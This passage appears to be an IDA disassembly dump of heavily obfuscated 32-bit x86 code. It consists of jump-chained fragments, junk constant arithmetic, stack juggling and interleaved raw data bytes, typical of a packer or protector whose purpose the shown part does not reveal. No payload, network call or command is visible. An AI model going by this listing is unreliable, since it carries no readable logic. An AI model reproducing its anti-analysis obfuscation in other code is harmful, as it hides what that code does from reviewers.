		dd 5217A441h, 3364DEBAh, 81D2F74Dh, 0FC6ABCEAh,	43B4E938h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A1A86:				; CODE XREF: sdfs____:005A7C60j
		push	ecx
		push	esp
		pop	ecx
		sub	esp, 4
		mov	[esp], eax
		push	346h
		jmp	loc_5AFCC1
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 0
		dd 31D32889h, 0ED8159CDh, 3370C5A2h, 565DEF01h,	6FF5E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A1AB1:				; CODE XREF: sdfs____:0059FDA2j
		xor	edx, eax
		xor	eax, edx
		neg	eax
		ja	loc_5A4840
		push	ebx
		mov	ebx, 3A183923h
		sub	ebx, 574156E3h
		add	ebx, 33163057h
		jmp	loc_59E459
; ---------------------------------------------------------------------------
		dd 7EBDC781h, 0B2E928F1h, 5F0000A7h, 81240C8Bh,	4C4h, 20B85000h
		dd 0F71F1E08h, 0FB94E9D0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A1AF6:				; CODE XREF: sdfs____:0059AD0Cj
		xor	ch, 0EFh
		add	al, ch
		pop	ecx
		add	al, ch
		sub	al, 0EFh
		pop	ecx
		push	ecx
		mov	cl, 0CFh
		jmp	loc_5AC040
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 97h
		dd 81725F06h, 0BD76BACEh, 68535502h, 4F864C7h, 7F31E9h
		dd 0C0CD8100h, 81444B5Eh, 1C732AF5h, 0E7F58108h, 0E97FE32Ch
		dd 60E3h, 440768h, 240C8900h, 1F97BD55h, 815255E6h, 4ECh
		dd 240C8900h, 0CC587AB9h, 1B31BA38h, 0CA012BD4h, 20F28159h
		dd 0D1572725h, 0C1E281EAh, 8176C807h, 0D7A5AEEAh, 0FEC58193h
		dd 0E9492354h, 991h
; ---------------------------------------------------------------------------


loc_5A1B7C:				; CODE XREF: sdfs____:005A23FCj
		shl	dl, 3
		push	ebx
		mov	bl, 0D5h
		add	dl, bl
		mov	ebx, [esp]
		add	esp, 4
		add	ch, dl
		jmp	loc_5A1CC3
; ---------------------------------------------------------------------------


loc_5A1B91:				; CODE XREF: sdfs____:005A55CCj
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		push	dx
		mov	dl, 92h
		push	edx
		mov	dh, 87h
		jmp	loc_59B389
; ---------------------------------------------------------------------------


loc_5A1BA7:				; CODE XREF: sdfs____:005A1BE5j
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_59F993
; ---------------------------------------------------------------------------


loc_5A1BB6:				; CODE XREF: sdfs____:0059DB0Bj
		jmp	loc_5A6718
; ---------------------------------------------------------------------------


loc_5A1BBB:				; CODE XREF: sdfs____:0059B20Bj
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_5A6419
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 0F064C1E7h, 8E9FA01h, 51FFFFFFh, 5883E9h, 7E37E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A1BE2:				; CODE XREF: sdfs____:005AA770j
		add	eax, 4
		jmp	loc_5A1BA7
; ---------------------------------------------------------------------------


loc_5A1BEA:				; CODE XREF: sdfs____:005AE405j
		push	ecx
		mov	ecx, 61CD2CE8h
		sub	ecx, 18414CB2h
		add	ecx, 0B310A4Dh
		jmp	loc_59BEEF
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 0DEF62AB6h, 482E8B0Fh, 31E90000h, 0F00006Eh,	0FFFE2981h
		dd 0F3C180FFh
		db 5Eh
; ---------------------------------------------------------------------------


loc_5A1C1D:				; CODE XREF: sdfs____:005A1888j
		sub	eax, 53AD5C01h
		mov	ecx, [eax]
		mov	eax, [esp]
		add	esp, 4
		mov	ebx, [esp]
		jmp	loc_5ABB34
; ---------------------------------------------------------------------------
		db 4Bh,	81h, 0F3h
		dd 8E519B0h, 0ADF3880Fh, 0EBC10000h, 0B38A0F07h, 81000014h
		dd 0CC9DC7C3h, 8B59534Eh, 0C481241Ch, 4, 8106E9C1h, 0E0B8AAE9h
		dd 0CB895316h, 24048153h, 38CA139Fh, 0C8A5E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A1C76:				; CODE XREF: sdfs____:0059ED30j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		shl	edx, 4
		xor	edx, 470B4928h
		add	eax, edx
		mov	edx, [esp]
		push	edx
		push	esp
		pop	edx
		jmp	loc_5ADB28
; ---------------------------------------------------------------------------


loc_5A1C96:				; CODE XREF: sdfs____:005AB2CCj
		pop	dx
		jmp	loc_5B0208
; ---------------------------------------------------------------------------


loc_5A1C9D:				; CODE XREF: sdfs____:005A20E6j
		add	edx, esi
		pop	esi
		and	edi, edx
		pop	edx
		push	ecx
		mov	ecx, 0F9503467h
		add	edi, ecx
		pop	ecx
		sub	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5A7746
; ---------------------------------------------------------------------------
		dd 20E9D701h
		db 0BCh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A1CC3:				; CODE XREF: sdfs____:005A1B8Cj
		pop	edx
		sub	ch, 0F3h
		jnb	loc_59C49B
		or	ch, 0E7h
		jmp	loc_5AED6D
; ---------------------------------------------------------------------------


loc_5A1CD5:				; CODE XREF: sdfs____:005AA030j
		mov	esp, [esp]
		add	ebp, 0C4FDFCBCh
		jmp	loc_5A81C4
; ---------------------------------------------------------------------------


loc_5A1CE3:				; CODE XREF: sdfs____:005A0C43j
		mov	ebx, 735C68D8h
		sub	ebx, 735C68D4h
		add	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_5AFC2E
; ---------------------------------------------------------------------------


loc_5A1D0B:				; CODE XREF: sdfs____:005B0213j
		add	bl, 0Fh
		sub	bl, 53h
		add	bl, cl
		add	bl, 53h
		sub	bl, 0Fh
		push	4704h
		jmp	loc_5A92F7
; ---------------------------------------------------------------------------


loc_5A1D23:				; CODE XREF: sdfs____:005AC316j
		add	edx, esi
		sub	edx, 11A17B6Dh
		sub	edx, 0CA45FC1h
		pop	esi
		jmp	loc_5A0B58
; ---------------------------------------------------------------------------


loc_5A1D37:				; CODE XREF: sdfs____:005A91B1j
		shr	edi, 2
		inc	edi
		sub	edi, 16CF8147h
		jmp	loc_5AE763
; ---------------------------------------------------------------------------
		dw 8966h
		dd 0C0E92404h, 0FFFFFF73h, 685B2434h, 2968h, 81243489h
		dd 4ECh, 4C10E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A1D66:				; CODE XREF: sdfs____:005A20B9j
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_599FF2
; ---------------------------------------------------------------------------


loc_5A1D89:				; CODE XREF: sdfs____:005AA019j
		xor	dh, ch
		pop	ecx
		sub	esp, 4
		mov	[esp], eax
		push	ecx
		mov	ch, dh
		mov	al, ch
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	esi
		mov	esi, 2DC26B6Fh
		push	edi
		mov	edi, 19EE48B4h
		jmp	loc_5A4B9A
; ---------------------------------------------------------------------------
		dd 840FE6D1h, 64ABh, 0EBFEEE81h, 89578D58h, 97BEE9F7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A1DCA:				; CODE XREF: sdfs____:005AAB69j
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_5A5FDF
; ---------------------------------------------------------------------------
		dw 8957h
		dd 4C781E7h, 50000000h,	4B8h, 58C70100h, 5C243C87h, 56E78957h
		dd 295B3ABEh, 72E68149h, 0C1795A7Fh, 2AE908EEh
		db 82h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A1E0B:				; CODE XREF: sdfs____:0059F13Bj
		add	eax, ecx
		add	eax, 75B62E55h
		push	ecx
		mov	ecx, 0
		add	ecx, eax
		jmp	loc_5A0CB6
; ---------------------------------------------------------------------------
		db 0BFh
		dd 1DD77C73h, 0FFCF95E9h, 0E9C501FFh, 708Ah
; ---------------------------------------------------------------------------


loc_5A1E30:				; CODE XREF: sdfs____:005A2645j
		add	esp, 4
		push	ebp
		mov	ebp, esp
		jmp	loc_5A5F2B
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 4C48324h, 4CABBB53h,	0F381796Ah, 42CE4436h, 0FF7B17E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A1E55:				; CODE XREF: sdfs____:005A7052j
		sub	edi, 0D4D0677h
		jmp	loc_5992C7
; ---------------------------------------------------------------------------
		dd 124BC681h, 0D6012988h, 124BEE81h, 0F1E92988h, 89FFFF7Eh
		dd 4C781E7h, 0E9000000h, 0B794h
; ---------------------------------------------------------------------------


loc_5A1E80:				; CODE XREF: sdfs____:005A4679j
		sub	ebx, 28C565B0h
		sub	ebx, 3DA15C5Fh
		push	edi
		mov	edi, 2DC12AC9h
		add	edi, 0E30F4ACCh
		sub	ebx, edi
		pop	edi
		jmp	loc_5A6219
; ---------------------------------------------------------------------------


loc_5A1EA0:				; CODE XREF: sdfs____:0059B727j
		push	ecx
		mov	ch, bh
		mov	[eax], ch
		jmp	loc_5AA2DF
; ---------------------------------------------------------------------------


loc_5A1EAA:				; CODE XREF: sdfs____:00599472j
		sub	ch, 0F3h
		add	ch, 73h
		jmp	loc_5AB15E
; ---------------------------------------------------------------------------


loc_5A1EB5:				; CODE XREF: sdfs____:0059EBBEj
		mov	[esp], ecx
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_5A1EBD:				; CODE XREF: sdfs____:0059FFFBj
		sub	ecx, edi
		pop	edi
		xchg	ecx, [esp]
		jmp	loc_5A11D8
; ---------------------------------------------------------------------------
		dd 4C6815Eh, 81000000h,	2C6h, 851FE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A1EDA:				; CODE XREF: sdfs____:0059B6DCj
		sub	bl, dh
		add	bl, 72h
		mov	edx, [esp]
		add	esp, 4
		add	al, 0B2h
		sub	al, bl
		jmp	loc_5A6026
; ---------------------------------------------------------------------------
		db 58h,	81h, 6Ch
		dd 38A50424h, 0B9517AD6h, 7C0D318Ch, 8244C29h, 2DBBE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A1F0A:				; CODE XREF: sdfs____:005A71C1j
		mov	[esp], eax
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_5ABAF0
; ---------------------------------------------------------------------------


loc_5A1F21:				; CODE XREF: sdfs____:00599454j
		mov	ebp, edi
		jmp	loc_5AC717
; ---------------------------------------------------------------------------
dword_5A1F28	dd 240C8B66h, 5D3268h, 24348900h; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		jmp	loc_5A36BD
; ---------------------------------------------------------------------------
		db 0B9h
		dd 5DD7717Fh, 0B850D9F7h, 6D73557Ah, 0A1CBE9h
		db 0
; ---------------------------------------------------------------------------


loc_5A1F55:				; CODE XREF: sdfs____:0059B7CAj
		add	eax, ebx
		add	eax, 677F6D3Eh
		push	ecx
		jmp	loc_59A4F9
; ---------------------------------------------------------------------------
		dw 0E801h
		dd 1F19FD2Dh, 6B602D37h, 90E9123Ch
		db 7Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A1F73:				; CODE XREF: sdfs____:005AB416j
		mov	ebx, esp
		jmp	loc_5A6745
; ---------------------------------------------------------------------------
		dw 0C3BEh
		dd 817E452Ah, 0AD3E3DC6h, 0CDE68147h, 814C0F79h, 0EC2BB5C6h
		dd 7E4AE956h, 0E1810000h, 57090D71h, 0D1F7D9F7h, 0A901E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A1FA5:				; CODE XREF: sdfs____:0059C351j
		xchg	ebx, [esp]
		jmp	loc_5998F4
; ---------------------------------------------------------------------------


loc_5A1FAD:				; CODE XREF: sdfs____:005A1617j
		push	ebx
		mov	ebx, 4E426B86h
		push	esi
		mov	esi, 3A52258Ch
		mov	ecx, 869DD2Eh
		jmp	loc_5A096C
; ---------------------------------------------------------------------------


loc_5A1FC3:				; CODE XREF: sdfs____:005A173Cj
		pop	ebp
		push	5A1Ah
		jmp	loc_5A25FA
; ---------------------------------------------------------------------------


loc_5A1FCE:				; CODE XREF: sdfs____:005A75DBj
		mov	ebp, 5C874B0h
		mov	ecx, 41313D4Eh
		xor	ecx, ebp
		pop	ebp
		neg	ecx
		inc	ecx
		push	eax
		mov	eax, 497115B9h
		shl	eax, 4
		not	eax
		dec	eax
		push	5469h
		mov	[esp], eax
		add	dword ptr [esp], 0FFFFFFFFh
		pop	eax
		and	eax, 5615509h
		jmp	loc_5A61FB
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
a_hkb		db '_hKb',0
		align 2
		dd offset dword_4D4450+3299h
		db 0
; ---------------------------------------------------------------------------


loc_5A200F:				; CODE XREF: sdfs____:005A9779j
		sub	esi, 7E54271Fh
		add	esi, eax
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_59B0B8
; ---------------------------------------------------------------------------


loc_5A2025:				; CODE XREF: sdfs____:005A8A3Fj
		add	ebp, 0D5E1098Fh
		xor	edx, ebp
		jmp	loc_59FC80
; ---------------------------------------------------------------------------


loc_5A2032:				; CODE XREF: sdfs____:0059E4DBj
		push	eax
		mov	eax, 4
		add	edi, 3C7320DFh
		add	edi, eax
		sub	edi, 3C7320DFh
		pop	eax
		jmp	loc_5A7ED6
; ---------------------------------------------------------------------------


loc_5A204C:				; CODE XREF: sdfs____:005A3B0Bj
		push	791Fh
		mov	[esp], ecx
		jmp	loc_5AD034
; ---------------------------------------------------------------------------


loc_5A2059:				; CODE XREF: sdfs____:005A45B3j
		not	ebx
		jmp	loc_5A3947
; ---------------------------------------------------------------------------


loc_5A2060:				; CODE XREF: sdfs____:005A4F00j
		jmp	loc_59BBCE
; ---------------------------------------------------------------------------


loc_5A2065:				; CODE XREF: sdfs____:005A947Cj
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		jmp	loc_5A4765
; ---------------------------------------------------------------------------
		dw 12BDh
		dd 2D453E07h, 354811D8h, 6C9BBD55h, 0E5C15A46h,	2EDC104h
		dd 0F708E5C1h, 4FBF57D5h, 2130AF34h, 41E95FFDh
		db 0D6h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A209B:				; CODE XREF: sdfs____:0059E516j
					; sdfs____:005A11C4j
		sub	eax, 4FEDED09h
		add	ebx, eax
		pop	eax
		or	ebx, 11C51055h
		xchg	eax, ebx
		xchg	eax, ebx
		push	ebx
		xchg	eax, [esp]
		not	eax
		jmp	loc_59EA40
; ---------------------------------------------------------------------------


loc_5A20B6:				; CODE XREF: sdfs____:0059ACB2j
		push	dword ptr [esp]
		jmp	loc_5A1D66
; ---------------------------------------------------------------------------


loc_5A20BE:				; CODE XREF: sdfs____:0059C556j
		xchg	esi, [esp]
		pop	esp
		push	edi
		mov	edi, 4FEE40A8h
		xor	edi, 530F6EF2h
		push	edx
		mov	edx, 767B5E7Bh
		sub	edx, 1
		push	esi
		mov	esi, 340A6D85h
		sub	esi, 56A0A139h
		jmp	loc_5A1C9D
; ---------------------------------------------------------------------------
byte_5A20EB	db 0ADh			; DATA XREF: sdfs____:00599034o
		dd 0E956D831h, 0FFFFADB9h, 0A1341BBh, 245C2952h, 348B5B08h
		dd 4C48324h, 0E9243C8Bh, 0A549h
; ---------------------------------------------------------------------------


loc_5A210C:				; CODE XREF: sdfs____:00599F4Bj
		add	ebx, esi
		push	edi
		mov	edi, 683C2089h
		jmp	loc_59AA90
; ---------------------------------------------------------------------------


loc_5A2119:				; CODE XREF: sdfs____:005AF3CEj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		pop	eax
		push	330Bh
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_59E541
; ---------------------------------------------------------------------------


loc_5A2133:				; CODE XREF: sdfs____:0059DB8Fj
		mov	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		xor	ebx, ebp
		jmp	loc_5A6B6D
; ---------------------------------------------------------------------------


loc_5A2142:				; CODE XREF: sdfs____:005A9B4Bj
		shr	ecx, 6
		jmp	loc_5A00E2
; ---------------------------------------------------------------------------


loc_5A214A:				; CODE XREF: sdfs____:005A36FFj
		or	ecx, 73AC735Bh
		jmp	loc_5A405F
; ---------------------------------------------------------------------------


loc_5A2155:				; CODE XREF: sdfs____:005AD4E6j
		sub	ch, 9Eh
		mov	dh, ch
		pop	ecx
		add	dh, 1
		or	dh, 0DDh
		jmp	loc_5A4B26
; ---------------------------------------------------------------------------


loc_5A2166:				; CODE XREF: sdfs____:0059934Ej
		push	ebp
		jmp	loc_5ACD30
; ---------------------------------------------------------------------------


loc_5A216C:				; CODE XREF: sdfs____:0059C241j
		xor	bl, al
		movzx	eax, al
		mov	dx, [esp]
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		jmp	loc_5A3E64
; ---------------------------------------------------------------------------


loc_5A2183:				; CODE XREF: sdfs____:loc_5A123Fj
		jmp	loc_59C6A3
; ---------------------------------------------------------------------------


loc_5A2188:				; CODE XREF: sdfs____:005A0AEEj
		add	edx, esi
		push	dword ptr [esp]
		pop	esi
		push	ecx
		push	esp
		jmp	loc_5A7B28
; ---------------------------------------------------------------------------


loc_5A2195:				; CODE XREF: sdfs____:0059B514j
		mov	ebp, 6F0D57C3h
		mov	ebx, 0DD7B2221h
		jmp	loc_59C091
; ---------------------------------------------------------------------------


loc_5A21A4:				; CODE XREF: sdfs____:005A0C25j
		push	ebp
		push	0FA340FFh
		pop	ebp
		neg	ebp
		jz	loc_599BDD
		xor	ebp, 0F894CB51h
		mov	edx, ebp
		jmp	loc_5A2C67
; ---------------------------------------------------------------------------
		dd 5450EB81h, 0EB81597Ah, 6E241949h, 591AE9h
		db 0
; ---------------------------------------------------------------------------


loc_5A21D1:				; CODE XREF: sdfs____:005A9ACEj
		sub	esi, 0AD58E82Fh
		jmp	loc_5AF9BE
; ---------------------------------------------------------------------------


loc_5A21DC:				; CODE XREF: sdfs____:005A9741j
		jnp	loc_5A432C
		not	edi
		or	edi, 3FA070FDh
		jmp	loc_5AB120
; ---------------------------------------------------------------------------


loc_5A21EF:				; CODE XREF: sdfs____:0059B0B3j
		pop	ebx
		pop	eax


loc_5A21F1:				; CODE XREF: sdfs____:005ABDCDj
		push	ebx
		push	5C30h
		mov	[esp], ebp
		jmp	loc_5B02D9
; ---------------------------------------------------------------------------


loc_5A21FF:				; CODE XREF: sdfs____:005A04D6j
					; DATA XREF: sdfs____:00598F74o
		mov	ax, [esp]
		push	1D9Ah
		jmp	loc_5A54FB
; ---------------------------------------------------------------------------


loc_5A220D:				; CODE XREF: sdfs____:005A7BE6j
		push	2D05h
		mov	[esp], edx
		jmp	loc_5A000F
; ---------------------------------------------------------------------------
		dw 835Fh
		dd 1C8704EBh, 20E95C24h
		db 9Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A2227:				; CODE XREF: sdfs____:0059A7A2j
		push	7B0F79AEh
		push	dword ptr [esp]
		jmp	loc_59EA6F
; ---------------------------------------------------------------------------


loc_5A2234:				; CODE XREF: sdfs____:0059BBECj
		push	edx
		mov	edx, 3E76B9Ch
		add	edx, 0C9797BA9h
		xor	edi, edx
		pop	edx
		push	edi
		jmp	loc_59FB50
; ---------------------------------------------------------------------------
		db 54h,	0FFh, 34h
		dd 0E9565A24h, 470Eh
; ---------------------------------------------------------------------------


loc_5A2254:				; CODE XREF: sdfs____:005A7B2Aj
		mov	edi, 4
		add	ecx, 2060353Bh
		sub	ecx, 390E2E85h
		add	ecx, edi
		push	8B9h
		mov	[esp], ebp
		mov	ebp, 597D102Eh
		shr	ebp, 5
		or	ebp, 24967CDh
		and	ebp, 27A02D0h
		and	ebp, 6C144B5Ch
		xor	ebp, 390E2CC5h
		add	ecx, ebp
		pop	ebp
		sub	ecx, 2060353Bh
		jmp	loc_59AE14
; ---------------------------------------------------------------------------


loc_5A229D:				; CODE XREF: sdfs____:005AD859j
		neg	ebx
		dec	ebx
		jo	loc_59AF75
		and	ebx, 74986DD8h
		add	ebx, 0AFEFBE7Ch
		mov	esi, ebx
		jmp	loc_5AC696
; ---------------------------------------------------------------------------


loc_5A22B9:				; CODE XREF: sdfs____:005AF2DAj
		push	ecx
		push	269036Bh
		push	dword ptr [esp]
		pop	ecx
		push	edx
		mov	edx, esp
		jmp	loc_59B000
; ---------------------------------------------------------------------------


loc_5A22CB:				; CODE XREF: sdfs____:005AB989j
		mov	ebp, [esp]
		jmp	loc_59922D
; ---------------------------------------------------------------------------


loc_5A22D3:				; CODE XREF: sdfs____:005A9DA8j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_5AC38A
		sub	esp, 4
		jmp	loc_5AC3DB
; ---------------------------------------------------------------------------


loc_5A22E5:				; CODE XREF: sdfs____:005A3A42j
		push	ecx
		mov	ecx, 0EFE32B0h
		mov	edx, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5AC036
; ---------------------------------------------------------------------------


loc_5A22F9:				; CODE XREF: sdfs____:005A3288j
		neg	ebp
		jbe	loc_599CDE
		add	ebp, 77D012B9h
		and	ebp, 20BE2767h


loc_5A230D:				; CODE XREF: sdfs____:0059CE77j
		not	ch
		xchg	ch, al
		sub	al, 9Bh
		xor	dh, al
		pop	eax
		sub	bl, 9Fh
		sub	bl, dh
		add	bl, 9Fh
		pop	edx
		jmp	loc_5A2B07
; ---------------------------------------------------------------------------


loc_5A2324:				; CODE XREF: sdfs____:005AF46Aj
		xor	edx, esi
		not	esi
		xchg	esi, edx
		jmp	loc_5A2DE3
; ---------------------------------------------------------------------------


loc_5A232F:				; CODE XREF: sdfs____:005AE127j
		push	3BD6h
		mov	[esp], esi
		jmp	loc_5A2AC7
; ---------------------------------------------------------------------------
		dd 8E9E304h, 5E000094h,	0E958C501h, 1CC0h
; ---------------------------------------------------------------------------


loc_5A234C:				; CODE XREF: sdfs____:005AE4BBj
		dec	edx
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		add	eax, 2FA76330h
		jmp	loc_5AF116
; ---------------------------------------------------------------------------


loc_5A235D:				; CODE XREF: sdfs____:005AC8A1j
		pop	ecx
		mov	ah, bl
		mov	ebx, [esp]
		jmp	loc_5AAB28
; ---------------------------------------------------------------------------


loc_5A2368:				; CODE XREF: sdfs____:005AC3D6j
		add	[esp+8], esi
		pop	esi
		mov	edx, [esp]
		jmp	loc_5A30F2
; ---------------------------------------------------------------------------
		db 50h,	89h, 0E0h
		dd 405h, 4C08300h, 5C240487h, 0F705EAC1h, 46F281DAh, 1FFFA59h
		dd 0FF515AD1h, 59042474h, 8B24048Fh, 88642424h,	6D69E902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A23A6:				; CODE XREF: sdfs____:loc_5A29C5j
		xor	esi, 98F45A2Dh
		xor	ebx, esi
		pop	esi
		push	esi
		mov	esi, 30DAC6Ah
		sub	ebx, esi
		jmp	loc_59E918
; ---------------------------------------------------------------------------
		dd 4C481h, 68660000h, 89665029h, 0EC812414h, 4,	0E9241C89h
		dd 0C075h
; ---------------------------------------------------------------------------


loc_5A23D8:				; CODE XREF: sdfs____:0059CC7Aj
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_59D5AF
; ---------------------------------------------------------------------------


loc_5A23E9:				; CODE XREF: sdfs____:005A8363j
		add	al, 5Fh
		mov	dl, al
		mov	eax, [esp]
		add	esp, 4
		sub	dl, al
		pop	eax
		or	dl, 5Bh
		jmp	loc_5A1B7C
; ---------------------------------------------------------------------------


loc_5A2401:				; CODE XREF: sdfs____:005AA0E0j
		pop	eax
		jmp	loc_59B6E1
; ---------------------------------------------------------------------------


loc_5A2407:				; CODE XREF: sdfs____:005AF2FBj
		push	edi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5A71BA
; ---------------------------------------------------------------------------


loc_5A2416:				; CODE XREF: sdfs____:0059EB47j
					; sdfs____:005A6071j
		shl	edx, 4
		jp	loc_5AE6CC
		shl	edx, 5
		jmp	loc_5AB871
; ---------------------------------------------------------------------------
		db 89h
		db 0F5h
; ---------------------------------------------------------------------------


loc_5A2429:				; CODE XREF: sdfs____:005AB45Cj
		mov	edx, 0
		jmp	loc_59B047
; ---------------------------------------------------------------------------


loc_5A2433:				; CODE XREF: sdfs____:005ABC16j
		not	eax
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 7FBF26FBh
		sub	eax, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5A6005
; ---------------------------------------------------------------------------


loc_5A2450:				; CODE XREF: sdfs____:0059A981j
		sub	ecx, 3F015A88h
		jmp	loc_5AD090
; ---------------------------------------------------------------------------


loc_5A245B:				; CODE XREF: sdfs____:0059B702j
		mov	edx, 5AD01CE5h
		sub	ecx, edx
		pop	edx
		add	ecx, 15FF36ACh
		jmp	loc_5A7A5E
; ---------------------------------------------------------------------------
		dw 489h
aSu		db '$éU)',0
		align 2
		dw 8957h
		dd 4BA52E7h, 1000000h, 0C7835AD7h, 81E95704h
		db 62h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A248B:				; CODE XREF: sdfs____:005A12FFj
		add	esp, 4
		sub	edx, ebp
		mov	ebp, [esp]
		jmp	loc_5A60B1
; ---------------------------------------------------------------------------


loc_5A249B:				; CODE XREF: sdfs____:005A5F26j
		mov	[esp], edi
		jmp	loc_5A50E5
; ---------------------------------------------------------------------------


loc_5A24A3:				; CODE XREF: sdfs____:005A7029j
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	small word ptr [eax]
		jmp	loc_59910F
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 24148904h, 0E6E9AFB2h
		db 7Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A24C3:				; CODE XREF: sdfs____:005A199Fj
		pop	ecx
		push	24Eh
		mov	[esp], edx
		mov	dl, 81h
		sub	dl, 0FFh
		xor	dl, 0D9h
		add	al, dl
		pop	edx
		jmp	loc_5A8E33
; ---------------------------------------------------------------------------


loc_5A24DC:				; CODE XREF: sdfs____:0059AF4Dj
		sub	ebx, 11C12E8Eh
		jmp	loc_59C3A2
; ---------------------------------------------------------------------------


loc_5A24E7:				; CODE XREF: sdfs____:0059BBB2j
		add	ecx, 7D855575h
		add	esi, ecx
		pop	ecx
		jmp	loc_59F094
; ---------------------------------------------------------------------------


loc_5A24F5:				; CODE XREF: sdfs____:005A2EB9j
					; sdfs____:005A6A8Aj
		pop	dword ptr [esp]
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_5A24FD:				; CODE XREF: sdfs____:005A9DB7j
		mov	al, dh
		pop	edx
		push	ebx
		mov	bh, 0B8h
		or	al, bh
		pop	ebx
		push	ebx
		push	ecx
		jmp	loc_59CD01
; ---------------------------------------------------------------------------
		db 29h,	0D5h, 51h
		dd 2354FEB9h, 59CD2949h, 5624148Bh, 0C681E689h,	4, 0B10BE9h
		dd 24348700h, 0FFCBCBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A2531:				; CODE XREF: sdfs____:0059B176j
		pop	ebx
		sub	edi, 4
		jmp	loc_59ACD9
; ---------------------------------------------------------------------------
word_5A253A	dw 6F68h		; DATA XREF: sdfs____:00598E90o
		dd 8900007Bh, 0DDE9241Ch
		db 81h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A2547:				; CODE XREF: sdfs____:00599CD1j
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		movzx	ax, byte ptr [eax]
		push	edi
		push	esp
		jmp	loc_59EC59
; ---------------------------------------------------------------------------


loc_5A255B:				; CODE XREF: sdfs____:005AD9BFj
		mov	edx, [esp]
		push	ebx
		jmp	loc_5A3C4D
; ---------------------------------------------------------------------------


loc_5A2564:				; CODE XREF: sdfs____:005AA15Bj
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5A729F
; ---------------------------------------------------------------------------


loc_5A2572:				; CODE XREF: sdfs____:005AA8CCj
		jo	loc_59ABCC
		add	ebx, 0A95A29D5h
		push	ebx
		inc	dword ptr [esp]
		pop	ebx
		sub	ebx, 3AA037D8h
		neg	ebx
		sub	ebx, 0BE8E9ADEh
		add	ecx, ebx
		pop	ebx
		jmp	loc_5A6691
; ---------------------------------------------------------------------------


loc_5A2599:				; CODE XREF: sdfs____:005AB999j
		mov	edx, 27D418BAh
		and	edx, 7C675A22h
		shl	edx, 7
		jmp	loc_59B114
; ---------------------------------------------------------------------------


loc_5A25AC:				; CODE XREF: sdfs____:0059CA04j
		sub	edx, 0FF16A725h
		mov	ecx, edx
		jmp	loc_5A0ADE
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 4C481h, 48E90000h
		db 6Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A25C7:				; CODE XREF: sdfs____:005AA231j
		shr	ebp, 1
		jmp	loc_5AB0CA
; ---------------------------------------------------------------------------


loc_5A25CE:				; CODE XREF: sdfs____:005A53B8j
		push	edi
		jmp	loc_5A153F
; ---------------------------------------------------------------------------


loc_5A25D4:				; CODE XREF: sdfs____:005A821Ej
		xor	esi, 77F4C63h
		push	esi
		add	dword ptr [esp], 295F2262h
		jmp	loc_5AC7B5
; ---------------------------------------------------------------------------


